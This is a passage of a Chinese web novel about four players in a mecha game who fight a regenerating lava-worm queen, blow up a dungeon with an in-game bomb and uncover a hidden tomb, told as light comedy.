陶影想了想，点开之前猫核拉她进去的小群。 “在弗拉姆星打本，有人来凑个数吗？一个就行。” “哦！S老师！截个图纪念一下你在群里的第一次发言。” “欢迎S老师！”“欢迎S老师！”“欢迎S老师！” 群里气氛挺好友好的，大家七嘴八舌。 “不过你去弗拉姆星干什么？那里的副本我记得只有热渊迷宫？” “就是热渊迷宫。新手场暂时爬不动，打虫族练练手。” “哦——”这个想法有一定的道理。 但同时产生了更大的问题。 有人委婉道：“那个副本，对新人可能有点太难了，你最好等到后期再做。” “我知道，这个副本挺特殊的。” “知道你还？” “心里有数。” “哎，有数什么呀。那个副本跟新手教程可不是一个难度。我第一次进去的时候差点被吓尿了。” 群友发了一个摇头.gif的表情包。 不过既然玩家S都这么说了，那他也不劝了，玩游戏不就是为了开心嘛。 “群友都忙着上课，找组队有点难，你再在群里多问问。” “糟了，老师今天突然小测，溜了溜了！” “啊啊啊这个老师怎么这么喜欢小测！救救我！”群里的人一下子开始哀嚎起来。 本来以为是考据群，难不成这其实是哪个军校的班级课程群吗……？陶影咂摸一下嘴。 陶影找队友的消息很快被刷了上去，大部分人都是来凑热闹的，没一个递纸的。 直到猫核的头像亮了起来。 “哦！猫老师上线啦！” “猫老师今天也爬榜吗？” “哦，不了。我两个队友今天被老师逮去做苦力了，还好我眼疾手快才逃出生天。奖励自己放一天假好了。嗯？S老师！你在弗拉姆星吗！太巧了，我正好去那附近。” 猫核看到陶影的组队信息，刚问了一句，就拍板，一定要跟她们一起打副本。 猫核似乎笃定陶影是天梯榜某位大佬的马甲。 “S老师，等着，我就来！一定要让你说出你是谁！” “那就拭目以待了，”陶影笑出声，“我跟队友在入口处等你。” “好嘞！” 猫核很快也坐星舰到了弗拉姆星。 她顶着一头七彩色还会发光的头发，本来就非常显眼，今天还戴了机械猫猫耳机，身上穿着白色毛绒的皮肤，比昨天更显眼了。 猫核隔大老远就非常有活力地朝这边挥手。 “我猫大人来辣——” 然后以百米冲刺的速度冲了过来。 陶影提前预判，往左站了一步，猫核结结实实扑到了林别歌怀里。 “哦！”猫核一双猫猫眼抬起头，眼睛里冒着星星，“好硬的肌肉！我喜欢。” 南卦凑了过来，小声道：“我感觉猫核老师跟林别歌T恤上那只白色猫猫兽人长得特别像。” 是哎，陶影转过头，再一看，林别歌的手已经忍不住伸向了猫老师的耳朵。 陶影和南卦齐齐轻咳了一声：“林比格老师。” 林别歌手在半空抖了一下，收了回去，抬头望天。 “小心福瑞控，猫核老师，”陶影友情提醒，“对了，你刚刚说在附近有事。要不先去办了再来跟我们组队？” 猫核摆摆手：“哦没什么，就小事，信仰之手每天下午会刷新一个宇宙商人，可能会刷出稀有道具。我晚点再去也行，先跟你们打完副本。” 陶影顿了一下，微笑：“可能要打很久哦，你真的确定？” 猫核挥挥手，非常自信地拍拍胸口：“怎么可能打很久，就这个副本，虫族的站位我都会背了，分分钟带你们通关好吧？” 猫核说完，推着陶影就站到NPC前面。 成功领完任务，她们进入电梯，四个人同时按住背包，点击机甲！ 【机甲展开。】 【已进入危险区。】 一阵失重感后，坠落在驾驶舱上。 猫核的机甲还是昨天比赛时候的那台，雾雨E-0087，辅助机型。 整体冰霜色调，设计冷硬却又不失美感。 机甲后的六片半透明浮动翅膀，作为散热结构，是雾雨系列的经典设计。不仅可以散热，还可以作为天线，对机甲进行电子干扰。 因为外表和实用性，一度被评选为“最受大学生欢迎”的型号。 那天在新手场秒杀她们的应该就是雾雨的干扰系统。 猫核嘿嘿笑出声：“怎么样，我开局刷了好久呢，漂亮吧？我看看你们的机甲是什么型号……怎么还是VX-89？” 她大叫：“我之前不是打给你们两百万火种币吗！可以在游戏内买到性能好一点的机甲了啊！” 还在开量产型练习机是闹哪样！ 现在的军校甚至拿它当练习机都有点过时了，已经购入全新升级款。 她们是打算用VX-89打到通关吗？ 猫核扶额：“也，也没关系，VX-89我也能带你们飞啦，跟在我后面，不要乱跑。副本在地下，有点黑，而且这里的虫族有时候还是满吓人的。” 她们被随机传送到地下洞窟内部。 洞窟不太高，VX-89可以站立，雾雨E-0087高度略高，需要微微低头。 一行人扒拉着墙，继续往洞窟深处探索。 墙体上镶嵌着黑红色的晶体，时不时有粉末扑簌簌落下。每隔一段路就有燃烧的晶石，提供微弱的灯光。 “也没什么吓人的嘛。”林别歌之前被说得怕怕的，现在看来不过如此。 话还没说完，她的VX-89突然踩空，一条腿半跪在地上，半天才拔出来。 她大声喘气：“怎么地上还有洞的？” 那个洞的直径在三十厘米左右，但洞口很深，直接穿到了黑漆漆的楼下。 洞口深处，什么也看不见，但就是时不时有什么重物在地上摩擦的声音。 林别歌吞了一下口水。 “声音是从哪里来的？雷达怎么没有反 应？” 猫核满不在乎道：“哦，雷达对它们失效的啦，这里的虫族，身体成分和周围环境差不多。只能靠肉眼找。” “长什么样子？” “跟墙壁颜色差不多吧。” “那怎么可能找得到啊！大家来找茬吗！” 陶影思索片刻，叫了一声队友，“南瓜，你凭直觉判断一下声音的方向。” “啊？直觉吗？”南卦一阵慌乱，她说错了怎么办？ 陶影一眼看出她在想什么，补充道：“你的ESP就是对周围环境的绝对观察力，如果你都说错了，那我们三个的判断只会更有问题。” “那我试试。”南卦深吸一口气，精神力集中了大概三十秒。 “怎么样？” 南卦似乎有点不确定自己的答案，犹豫道：“可能是，刚刚，在脚下？” 猫核捕捉了重点：“刚刚？那现在在哪里。” 窸窸窣窣摩擦地面的声音越来越近。 陶影抬起手，几颗小矿石从头顶落下，弹在VX-89的指缝中。 “唔，在头顶吧？” 第40章 最初,只是一阵轻微的震动。 而后，脚下、头顶、四面八方都传来不详的声响。 【空间温度上升。】 【警告，空间温度迅速上升。】 【疑似不明高温生物体接近。】 屏幕上,黄色的感叹号大大闪烁着，短短一分钟,温度曲线波峰直接飙升了六七倍，连驾驶舱内都已经感受到一股热气袭来。 岩壁传来碎裂声。索索,索索。似乎有什么巨大的不可名状的东西,盘旋着,苏醒着，然后沿着岩壁中的蜿蜒而来。 四人齐齐抬头。 它就在那里。 黑色的洞口深处,有什么东西。 像是咀嚼后的呕吐物的气味铺面而来。 她们将洞口死死盯住,然后,洞口突然亮了起来，冒出火光。 “小心,是岩……” 炽热的岩浆从洞口喷出，正对着陶影的位置！ 她操作VX-89下蹲,抛出防护盾。 防护盾在空中展开。 震动中，防护盾瞬间变薄，发出“滋啦滋啦”的声响,周围冒出白气。不过几秒，就被高温气化。 虽然陶影及时后退两步，但依然没能挡住所有岩浆，部分高温岩浆穿透防护盾。 朝她们的位置射来。 “没事吧！”“我没事！” 耳边传来同伴的关心，陶影抬头，看向岩浆喷出的洞口。 片刻后，陶影眼神中带着玩味,轻笑道： “来了。” 三十厘米宽的洞口处，“不明高温生物体”的头部经由粘液润滑，挤了出来。 它整个头部浑圆，没有眼睛，只中间有一个黑色的缝隙，这是它的口器。 口器一张一合，翕动着，似乎在寻找猎物。 但陶影她们没有动，也没有发出声音。 “不明高温生物体”没有发现猎物，头部不耐地甩动几下，重重地撞开了洞口。 随后像凶猛的食肉花朵一样，口器猛然打开！六瓣口器，层层叠叠的尖锐牙齿，一口咬断了面前的岩柱。 它嘎嘣嚼了两下，将碎石吞了下去。 然后张开嘴，牙齿上滴落出黏腻的液体。 不知是谁踩到石子，脚下轻轻地咯吱了一声。 “头部”瞬间捕捉到这点声音。它狂甩一下，扯着身子，蠕动到众人面前。 “咿———————！”一声刺耳的尖叫声，伴随着声波，冲击耳膜。 猫核捂着耳朵，生无可恋：“谁提前把Boss叫醒了喂！岩浆巨蠕对声波很敏感的！” 陶影把石子往身后一踢，严肃地点头：“是啊，谁这么缺德。” 岩浆巨蠕张开嘴发出尖锐的尖叫，一口朝陶影的机甲咬来。 陶影紧急拉住操纵杆避开。 它的头猛扎进地下，直接把那片地扎穿了。 林别歌颤抖着手，一屁股坐在地上。身后有什么软软的东西擦过她的背部，引起一阵战栗。 她慢慢地回过头，吓得差点跳了起来。 一圈一圈的粗壮的环节，比城市里的污水管还要粗。 褶皱的皮肤，不停收缩着，蠕动过的地方留下一层厚重、发黄的黏液。 余光瞥到周围，她们这时才发现，周围的岩壁角落，到处都是三十厘米的洞。这些洞口不是天然形成的，是岩浆巨蠕那长长的身躯，在爬行时打穿的！ 而层层叠叠的洞口之下，它的身体在缓慢蠕动，根本看不见尾部在哪里。 陶影声音里没什么情绪道：“哇，好长，像贪吃蛇。” “这么恐怖的场景你怎么能说出益智游戏的名字？”队友流下了宽面条泪。 “等等，那是什么。” 只见角落里，虫族身体的一部分卡住了，它环节的某一段，不自然地隆起。 里面似乎有什么东西在动。 还有闷声的求救声。 “救救我，救救我！” 下一秒，虫体不适地扭动起来，将那段身体猛地往墙上一撞，隆起的部位发出一声“呃啊！”的人类惨叫声，然后慢慢软下去。 【发现一等兵遗体，调查任务完成度：50%。】 那个突起是被吞进去的人啊！ 南卦代入感极强：“看来这是之前消失的一等兵，真是实力强悍，在岩浆巨蠕内部都能坚持这么久……” 猫核抬起，头顶直冒冷汗：“哈哈，直接遇上虫母是什么运气。” 这个副本的机制是，在探索路上，会不停刷出哨兵虫。哨兵虫是长得像个眼球的怪，它获取到的所有信息，会通过虫群网络，传输给虫母。 所以常规打法是：杀掉哨兵虫，削弱虫母的能力，然后和失去信息来源的虫母慢慢磨。 相当于先给虫母上个debuff。 没有削弱是很难打的。 但也不是完全不能打。 猫核咬牙：“只有虫母，没有哨兵虫的话，我稍微努力一下应该也可以带你们过……” 猫核刚说完，各种洞里逐渐钻出几百只小号巨蠕，还有圆形的球状物。 球状物滚到陶影她们身边，张开眼睛，不停扫描着她们这群外来者的信息。 陶影一指：“哦，哨兵虫，还有幼虫。现在是孵化期？哦，护巢虫也来了，啧啧，好凶。” “……” 哨兵虫！幼虫！追着幼虫来的护巢虫！ 甚至还有来凑热闹的普通工虫，这下齐全啦！好耶！ 敌方打出一个王炸！ 猫核宽面条泪。 “我们怎么会选到这种坐标？” 等下，刚刚坐标是谁选的来着？ 陶影点头：“是啊，好倒霉，怎么偏偏到了虫母头上的坐标呢？对了，比格、南瓜，先忙着别跳舞了，把岩浆蠕虫砍了再说。” “我不是在跳舞！我在躲脚下的超大号眼球，我害怕啊啊啊啊！” “你刚刚看到信仰之手都觉得是平菇，看到眼球不能觉得它是麻团吗？怎么样，是不是没那么害怕了？” 林别歌握拳：“给麻团道歉！！！” 场面乱成了一锅粥。 没办法了，这个新人队伍，只能靠她了，猫核试图稳定核心，挑起队伍大梁：“我来带你们！” 陶影友情提醒：“这个是异化体虫母。猫核，你小心——” 她提醒到一半，熔岩体口中喷出火热的岩浆，直接把雾雨E-008 9的六片翅膀烧没了三片。 猫核还要继续移动，但动作缓慢下来，关节更是发出诡异的咔嚓声。 林别歌：“猫老师怎么一直响？” 陶影：“你看看温度表。” “我去，400度！” “雾雨E-0089的翅膀负责散热，在这种高温环境下失去散热，对机甲的性能打击是致命性的。” “那咋办！” “先把虫母引开吧，它的身体温度很高。我们往下层走。”说着陶影蹲下身，在旁边的空洞敲了敲。 “下面不是更烫！不行，我现在就把它干掉。” 那，那句话怎么说的来着？去头可食！ 林别歌鼓起勇气，拔出光剑，这是陶影之前给她配的，很轻的一把剑，非常好砍。她跳到岩浆蠕虫头后，弓步一砍，竟真的把头部砍了下来。 林别歌双手举起那一动不动，似乎已经死掉的巨蠕头部，兴奋道：“我砍掉了！” 陶影：“嗯……提醒一下，这个虫族，再生能力比较强。” 林别歌本能性地察觉到一点不妙：“？” 陶影补充：“从中间砍断的话会变成两只。” 下一秒，那条蚯蚓的断点很快又长出一个头，口器张开，朝它们发出尖锐的叫声。 而林别歌手中那条短的也是。 虫：“啊啊啊啊啊！！” 林别歌：“啊啊啊啊啊啊！！！！” 口器贴着她的脸就来了，她把虫甩飞到空中。 陶影无奈地掏出两把热力刀，反手握住，挡在身前。 虫族落地的瞬间—— 热力刀齐齐钉住它的头部和尾部，陶影又用力一下，碾碎了头部。 这次它终于不动了。 陶影用力过度，轻咳了两声，收回刀。 “喏，要两个头同时干掉。或者在其中一个头部完成再生之前砍掉另外一个。” “是的，S老师说得没错。”猫核的机甲躲在角落里，弱弱道。 差点忘了，这里还有一个人。 陶影一拍脑袋：“猫核，你的机器过热，冷却下来之前先在这里别动。我们先把岩浆巨蠕引下去。如果待会儿有什么声音，就双手抱头，找个角落躲起来。”陶影指了一下，“那里就不错。” 猫核还有话想问，陶影已经提前跳到了下一层。 小怪全跟着跳了下去，虫母扭头，也猛冲下去。 猫核砍掉这个空间内，仅剩的一只小怪，慢慢挪动到角落，抱膝。 “想我堂堂天梯榜第九名，此刻竟然弱小可怜且无助地呆在这里，等待回血，放着几个新人去杀加满了正面buff的虫母。丢人，太丢人了。” 猫核小声抽泣，痛心摇头。 …… 陶影自打下楼，就一直在下楼，恍若在玩什么是女人就下一百层的小游戏。 头顶一直传来虫母的口器咬碎石头的声音，听得人牙酸。 身边一群哨兵虫跟着，很影响发挥，幼虫唧唧呱呱的一直叫也很烦。 她们清理了一阵护巢虫，浑身沾满恶心的粘液。 林别歌想砍掉身后一直像个皮球一样弹来弹去的哨兵虫，但被陶影阻止了。 “砍掉哨兵虫可以削弱虫母的视力，为什么阻止我？”林别歌觉得自己的判断非常正确。 陶影点头：“给敌人透露适当的信息，也是战斗的关键。” “说人话。” “我要利用哨兵虫引虫母下去。” 不过一直往下走确实挺累的，陶影右手突然一抬，从背包里掏出脉灼短炮，对准地下来了一炮。 差不多轰穿了十层左右。 她们刚刚经过的层数，还有晶石燃烧照明，但越往下越黑。 十层以下，她们的肉眼就完全看不见了。 “虫母长期在没有光线的地方生存，退化了眼睛，而对声音和动作更加敏感。在上面打不是更好。” 林别歌道。 “你确定还要继续往下？去没有光线的地方？” 南卦搓搓手臂：“小影，下面好黑啊，有点害怕。” “有我在，怕什么。” 陶影站在轰穿的洞中间，直接跳了下去，然后优雅地朝上层伸出手。 “信我吗，队友？”—— 作者有话说：亲，这边建议是坏女人说的话一个字都不要信哦[玫瑰]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-50 第41章 南卦犹豫了一下,露出大学生的清澈眼神——是的，这位少女目前为止还没有被陶影骗过，对陶影抱有一些很阳光且很错误的期待。 南卦眼神闪光：“我信你,队长！” 被骗过很多次已经自暴自弃的林别歌：…… 她皱眉，望天,一套流程之后，痛苦地答：“哎,信信信,我不管了啦！” 林别歌闭着眼睛也往下跳。 “谢谢信任,你们是我带过最配合的团队。”比莱机所的几位祖宗好指挥多了。 陶影眼中噙泪，连连点头。 阴影中,陶影操纵的VX-89伸出手,结结实实拉住两位队友的机甲。 两人正要踩到地,那台拉住她们的VX-89，却动作一顿。 两位队友觉得,如果机师的表情可以同步机甲的话，陶影现在驾驶的机甲,大抵是露出了一个和善的笑容。 下一秒，VX-89松手，把两位队友扔到了迷宫下层。 两位队友发出无声的尖叫。 “！！” “我就知道！” “影子你给我等着！！！” 咚——啪——duang——咚——啪——duang。 两台机甲接连穿过十几层空洞之后,又因为重量连续冲塌了好几层。 堪堪稳住机甲，队友齐齐抬头，看着从十几层之上的洞口探头的“非常可信的队长”。 陶影：“啊，不小心手滑了。抱歉。” “需要我提醒吗，你语气里一点歉意都没有。”林别歌磨牙。 南卦戳戳林别歌的后腰，不赞同道：“别这么说，小影失手已经很自责了。” 林别歌一脸痛苦：“你那个什么超越常人的观察力为什么到影子身上就没用了？是被屏蔽了吗？你睁开眼看看,她哪里自责了喂！” “小影对我们很好的。” 林别歌痛心疾首：“最好骗的就是你！” 陶影朝洞口探头，一脸关心：“下面很黑吧，但没问题的，以南瓜超越常人的观察力，一定可以帮助你们在黑暗的深渊中discover一条通往光明的路。” “？”“？”两人头顶冒出问号。 队长在说什么？ “你不一起下来？” “刚刚演示过岩浆蠕虫的机制了，”陶影解释道，“要同时毁掉两个头，才能杀死虫母。我在上面，负责这一侧的头部。岩浆巨蠕的另一个头部应该就在你们现在的那层。考验我们配合的时候到了。” “总之加油！”陶影语气上扬。 “那先这样，你俩砍完喊我一声。”陶影语气下降。 说完，陶影抛出防护盾，一阵霹雳啪啦的声响后，防护盾传来强烈的撞击声。 队频里传来林别歌关心的声音。 陶影闪身躲过岩浆巨蠕，大喘一口气，看到底侧的阴影，不忘友好提醒一句：“先顾好自己吧。” 下一秒，队频传来南卦的大喊：“林别歌，你背后有东西！！！！” “啊？背后哪儿啊，我什么都看不见！” 迷宫下层传来巨大的撞击声。 显然两位队员已经开始交战了。 陶影将注意力拉回自己的战场，轻呼一口气，操作面板，观察她的敌人。 蠕虫头部钻入洞口，疯狂甩动，黏液到处飞溅，陶影收起肩部的脉灼短炮，换成了热力刀。 近距离不适合用炮，热力刀更合适。 陶影后退一步，扬起尘埃在空中飞舞。岩浆巨蠕仿佛察觉到什么，猛然转过头，伸长身体，朝她咬来！ “咔——”陶影单手抵挡攻击，又迅速拔出另外一把热力刀，切下它的头……不，没有切下。 陶影只切掉了岩浆蠕虫头部的一半。 她刻意控制了力度。 岩浆蠕虫开始痛苦挣扎，那一半依旧连接的躯体，扯得要掉不掉，伤口处又逐渐长合。 岩浆蠕虫痛苦尖叫一声，叫声里带着仇恨，它破空而来，朝VX-89的头部咬去！ 陶影迅速半跪，避开攻击，右手一抬，将刀插入它体内，然后一个滑铲，剖开鱼腹一般，在岩浆蠕虫腹部拉出长长的伤口。 “哗——” 腹内岩浆喷薄而出，星 星点点溅射在岩壁上。 陶影热力刀一挡，岩浆从刀上滴落。 随即轻呼一口气。 她检查一眼面板，剩余体力80%。 虫体在地上抽搐，按数据推断，再生需要五分钟左右。 于是，就在紧张刺激的战场当中——陶影半躺休息，开始看着体力条慢慢回升。 嗯，不错，达到了一个体力上的正循环。 五分钟后，虫体的伤口逐渐融合，又恢复了战斗力。而陶影的体力条也涨回了99%。她直起身，深呼吸一口气，活动了一下手腕关节，按住操作杆。 1V1作战，陶影开机甲的唯一战术是——速战速决，因为她体力只能支撑十分钟。 不过团队作战，她需要想办法延长作战时间。 谁说游戏一定要赢？ 取决于玩的目的是什么。 虽然明知是游戏，但周围的热度，似乎也点燃了她的作战热情。 陶影神色懒洋洋的，眼神却很认真。 她直起身，用力推动操作杆。 第二轮，开始。 …… 而此刻，下层。另一边的战况十分胶着。 主要是因为南卦和林比格的配合依旧很差。 “比格老师，这边！”“哪边啊！” “左边！”“谁的左边啊！哎不知道，我乱砍了！” “比格老师你砍到我了！” “太黑了我看不见你在哪里，说清楚一点！” 用她能听懂的语言！！ 林别歌觉得交流困难。 这场战斗简直跟她决定晚饭吃什么一样迷茫，想当场跪地爆衣嘶吼两声。 南卦的精神力，能敏锐察觉到虫族攻击来的方向——这是陶影说的，但林别歌精神力不高，感受不到，每次影子和南瓜聊到精神力相关的话题，她都神游天外。 就当南卦有超强观察力吧，但完全派不上用场。 “我不行吧？会不会给你们添麻烦？”南卦最爱说的就是这句话。 说真的，林别歌不理解。南卦挺行的呀，成绩也好，精神力也高，为什么老觉得自己不行。遇到问题，还喜欢把“想死”当作口头禅，动不动跑天台坐着。 遇到垃圾不是应该揍回去吗？没能力揍回去，那最起码也骂回去！ 反正林别歌是会骂回去的。 所以她不理解南卦。 说真的，她俩一点都处不来。要不是影子强行给人绑定在一起，林别歌应该直到毕业都不会跟南卦成为朋友。 她觉得麻烦，也不想猜南卦的想法。 她们的性格正正相反。 攻击又来了。林别歌开始摆烂：“哎不想打了，反正打不过。” 南卦却意外很有冲劲：“不啊，我们配合，一定有机会的！” 林别歌嘟囔：“我都听不懂你说话。” “那，那我们交流一下，沟通啊，一定能打过的！信息传递过程中会产生一定偏差，纠正这个偏差是互相理解的基石……你的右边！” 这次的指令终于明确了。 林别歌右手下意识抬起，但她反应慢了。抬手时，已经有什么东西咬上VX-89的肩膀，咬住就不松口，死死拉扯。 VX-89的右臂被硬生生扯了下来。 电火花炸裂在空中，她们瞬间看清了对手——是一只护巢虫。 形状像是大号的甲壳虫，透明翅膀飞快扇动，发出高频震动的声音。 再看林别歌脚下，满地的迷你蠕虫，像白花花的蛆虫，一半踩爆浆了，另一半幼虫往浆液的方向涌来，开始吸食地上不断涌出的白浆。 林别歌一手遮住屏幕，转头干呕：“yue。” 显然护巢虫跟着幼虫而来，被她们的攻击行为刺激到了。 护巢虫在空中飞行，甩开刚咬下的VX-89的右臂，扔到洞窟深处。 微亮的光线照亮了角落，十几只篮球大的眼球齐齐转过头来。 是哨兵虫。 …… 林别歌吞了一下口水，生平第一次理解了南卦的话：“我想死。” 而南卦声音微弱，碎碎地念了两声，林别歌没听清，说的好像是个人名，但南卦语气神叨叨的，听上去像是一串女巫的咒语。 但后面的话，林别歌听清了。 南卦坚定道：“不能死。” “想死可以，但不能真的死。”南卦想了想，搜索背包，换了一个武器——霜灭冰锤。 内置超导体，可以在撞击的瞬间产生脉冲，达到零下270度，接近绝对零度-273.15。 能冻结高温蠕虫。 好像是小影塞给她的。 就它了。 少女温和的眼神，被当下的危机刺激得锋利起来。 哨兵虫确定了她们的位置，扫来一阵风，再次朝林别歌的驾驶舱袭去。 而林别歌的系统还在报警，她被刚才攻击冲击在地上，来不及起身，眼看就要被彻底撕碎，南卦神色一凛，说时迟那时快，跳过去就是一锤子，整个岩壁瞬间冻结，在锤子离开岩体后，岩体因为强烈的温度转换，瞬间碎裂。 南卦挥舞锤体转了一圈，直接将护巢虫踩爆在岩壁上。又是一锤，重重扫飞几只。 她语气带着焦急：“比格老师，你没事吧！” 林别歌惊魂未定，慢慢操纵着起身。 南卦开始碎碎念：“这样下去不行，我们得想想办法。这样，我们背靠着背。我按你的角度说位置，你直接动。” “好。” “左边！哨兵一只！”“好的！” “右边，哨兵！”“好的！” “右腿踢一脚！”“好！” “左一。”“一。” 她们两个就这样配合，竟然还真的逐渐找回了战斗节奏，配合越来越默契。 甚至到后面林别歌都不回话了。 但她们知道，对方一定能听懂自己在说什么。 而某个瞬间，南卦的动作突然僵住了，好像发现了什么东西。 “林别歌，哨兵虫交给你！” “那你呢？” 少女转过身，面对一片黑暗。 那里有什么呢？ 黑暗的环境中，她的精神力似乎能察觉到，那成段成段的环节的终结之处…… 少女动了一下手臂，镜面将头顶一点微弱的光，反射到洞窟深处。 她两手颤抖，完全没有意识到这是一个游戏。 就好像真实存在的某个宇宙一样，她举起霜灭冰锤。 冰锤划破火热的风，南卦的精神力在极强的集中下，瞬间爆发，一击削断那庞然巨物的头顶。 林别歌：…… 队友刚刚是穿过黑暗在什么也看不见的情况下砍掉了岩浆蠕虫的头吗？ 南卦一锤下去，把还在扭动的巨蠕头部捶得脑浆四溅，然后阴森森转过头来。 她摆出胜利姿势。 双手举起岩浆蠕虫的头部，像炫耀钓到大鱼的钓鱼佬，举到林别歌面前。 “你看，就说我们能做到的。”南卦两眼放光。 林别歌脸皱成一坨，不着痕迹地离那条虫远了一点。 “是，是吧。我们配合挺好的。” 空气突然沉默，两人对视，看到对方身上满是黏液的惨样，不知道是谁突然扑哧笑出声，开始相视大笑。 虽然性格不同，也不能理解对方的某些行为。 但互相信任，将后背交给对方的感觉，挺好的。 笑了一阵，正好残余的哨兵虫又攻击过来，南卦和林别歌想起陶影刚刚说干掉岩浆巨蠕之后记得联系她，就一边砍着虫子，一边兴奋联络陶影。 “小影小影，我们成功啦，你那边怎么样！” 陶影没有回答。 南卦和林别歌疑惑地“嗯？”了一声，背靠背，同时看向队友信息栏。 奇怪。 玩家“S”的ID是绿色，后面的状态写着“生存”。 小影还活着，但为什么不回话？！！！ 不会是体力条见底，晕过去了吧！ 第42章 虫母的头部在地上点了几下,立刻再生。 南卦拖过来又是狠狠的几锤，重复来了好几次，她干脆操纵VX-89,一锤子砸歪了岩浆巨蠕的头，然后一屁股坐在锤头。 吧唧爆汁。 虽然对方是虫族,但这场面十分之血腥暴力。 林别歌转过头，干呕一口：“yue。” 但南卦对此毫无所觉,她岔开腿,两手搭住膝盖,看着队友一脸严肃：“小影不会真晕过去了吧？” 林别歌摇头：“不道啊。影子可能是故意装听不见的，就为了让我俩多打一会儿？” “不要这么说小影啦,她人很好的。” “那是她装的。” “嗯？谁说我坏话？” 队频终于传来了声音。 “小影！”“坏女人！” 陶影睡眼惺忪地看了一眼面板：“啊,不好意思,坏女人刚刚好像睡着了。” “这个危机四伏的环境你也睡得着？” “游戏而已啦。” 光脑助手的警报响起，陶影看了眼时间,今天的游戏时间已经有九个多小时。 现实中的体力也差不多极限了。 “我们这边的虫母又要复活了。你那头呢？砍掉没有。” 陶影慢吞吞：“刚刚趁我休息的时候，它往下层跑了。” “你倒是追啊！” 林别歌已经杀麻了,一开始的害怕早不知道去了哪里。此刻她一脚踩在哨兵虫的头上，脑子里只有回家吃饭。 性子还是那么急，一点都等不了。 陶影摊手,一脸“真拿队友没办法，宠宠你们吧”。 “那进入下一步计划。你们两个找个角落双手抱头，把防御盾开上。” 林别歌警惕：“计划？什么计划？” 陶影掏出手里用胶带捆着的不明黑色物体，咧嘴一笑。 “嗯，你听过钝裁者吗？” “没听过，哪里的机甲型号吗？” 南卦吞了一下口水，弱弱举手：“那个,是高爆炸弹。小小一颗能把整栋楼炸掉的那种。” 林别歌：“？此时掏出这个道具的意义在？” “好玩啊。” 陶影掂了掂炸弹，语气中带着一丝可惜。 “黑市买的，斥资一百万火种币，我刷新了好久才买到。可惜型号太小，不然炸起来应该更好看一点。” 林别歌警惕等级提升到max。 “你，你该不会是想……！” “嗯，尊重你的意见，迅速解决战斗？”陶影无辜地眨眨眼。 然后将炸弹扔了下去。 此刻，上层的猫核还在角落画圈圈，嘴里说着什么“我堂堂天梯榜第九，竟然让新人带通关，真是太丢人了”，突然听见轰隆隆的雷声。 雷声？ 但是脚下怎么会有雷声，雷声不是应该从天上来吗？ “影子你给我等着啊啊啊啊！！！” 队频传来林别歌的惨叫，猫核面目呆滞，似乎终于意识到情况不妙。 迷宫层层陷落，大地传来沉沉的轰鸣声。 热渊迷宫在一阵欢乐的惨叫声中爆炸坍塌。 …… 火种的世界广播，金色大字，加粗字体，划过数条消息。 【系统公告】：恭喜战术小队-太空女鬼队，越级挑战弗拉姆星-热渊迷宫，成功击败虫母。 【系统公告】：恭喜玩家猫核获得隐藏成就“新人带带我”。 【系统公告】：恭喜玩家S获得隐藏成就“使用黑市商人处获得的谜之道具，炸掉高级副本”。 【系统公告】：恭喜玩家S在热渊迷宫底层，发现隐藏副本，“希拉辛的埋骨地”。 吃瓜玩家B：“我去，热渊迷宫下面有隐藏副本？” 路过的吃瓜玩家A：“我刷这个副本几千次了，怎么从来没发现过。” “可能因为你没买高爆炸弹炸掉副本吧。所以究竟是谁这么疯？” “玩家S？好耳熟的名字。” “啊？是那个老三视频里‘体质E速通新手教程’的The玩家S吗？” 网友特地加上一个定冠词The以示她的特别。 而另一边，猫核的几十人班群里。 “哈哈哈哈哈哈猫核老师怎么被新人带了！笑死我了，你不是去带三个新人的吗。” “那个‘新人带带我’怎么获得的，触发条件是什么，我也想要，头衔是只猫猫，也太可爱了。” 猫核啪啪啪甩出去几张愤怒的猫猫举砖头表情包。 “少来，你们这帮损友。” 猫核生无可恋地关掉聊天窗。 扒拉着周身的石块，猫核吭哧吭哧爬起来，雾雨E-0089从石头缝里露出它漂亮的脑袋。 猫核站在石头顶端，周围是一片废墟。 高爆炸弹。 军校课程有教过，刚刚那个震耳欲聋的声音，绝对是高爆炸弹。 猫核自诩对热渊迷宫这个副本非常了解。这炸弹不是剧情杀，只能是自己带的。 “啊啊啊啊啊谁炸副本了，谁！！！！” 谁家好人买炸弹炸副本的！！！ 是谁！！！ 罪魁祸首是谁！！ “哦，猫核，正找你呢。” 陶影——罪魁祸首，此刻一脸淡定，毫不心虚地朝猫核打招呼。 陶影朝猫核挥手：“隐藏副本在这边，不过先来帮帮忙，比格你还活着吧？” 林别歌动了动VX-89的手指——这是唯一露在石头外面的机甲部位。 她竖起一个中指。 “已死，勿念。” 陶影笑出声：“状态挺好的。” 猫核帮忙，合力扒拉了半天，终于成功营救出埋在石头堆里的林别歌。 林别歌出来第一件事，握紧拳头，当即和陶影展开了一段惊天动地的互殴。 最终以林别歌不忍欺负脆皮队友，主动认输结束。 …… 在岩石废墟里一阵赶路。 十分钟后，四人终于齐齐站在了隐藏副本面前。 抬头，是一扇二十米高的石门。上面花纹繁复而精致，角落里还雕刻着一些古代文字，引得猫核仔细研究。 “这就是那个秘密副本啊？”林别歌看着那扇神秘巨门，觉得里面估计又是一堆虫族，一脸便秘，“我不想打了，真的。我就不该上这个贼船……” “里面应该没怪了，放心吧。” “你咋知道？” “凭直觉，南瓜你说是吧。” “嗯，我感受一下，”南卦两手贴到门上，神叨叨地念了一堆词，最后下结论，“感觉里面没有精神力波动。” 陶影：“你看，我说吧。” 猫核：“……” 她们这个太空女鬼队究竟什么来路？队伍里还有女巫的？ 陶影爬下机甲，将机甲收回快速背包，又从背包里掏出新手教程获得的那把“不知道哪里的钥匙”。 不知道哪里？就是这里！ 陶影走了两步，装模作样地来到巨门边，摸索了一下。 然后后退三步，抹了抹地上的浮灰。 一个古朴的锁孔显露出来。 “哇，锁孔竟然在这里！怎么就被我发现了呢，好巧。” 陶影说完，面无表情地将钥匙插了进去，扭动两下。一套动作行云流水，好像早有预谋。 巨门发出震颤，石子灰尘扑簌簌落下。 陶影毫不犹豫，一脚踩入，几位队友虽然有些迟疑，但还是跟在了她身后。 石门在她们身后缓缓合上。 面前的景象让人惊叹。 这是一个极大的人造地下空间，墙上满是刀枪剑戟之类的原始壁画，几人好奇地凑近研究了一下，似乎是古老的蓝星文明。 整个空间明明很宏大，却没什么东西。 对比之下，好像缺少了什么似的，让人心里传来一阵死亡的空虚。 南卦突然说了一句：“这里好像一个坟墓。” “是吗？”林别歌瞄了一眼隐藏副本的名字，“希拉辛的埋骨地……对了，这里确实是她的坟墓。” 好像听说那个时代 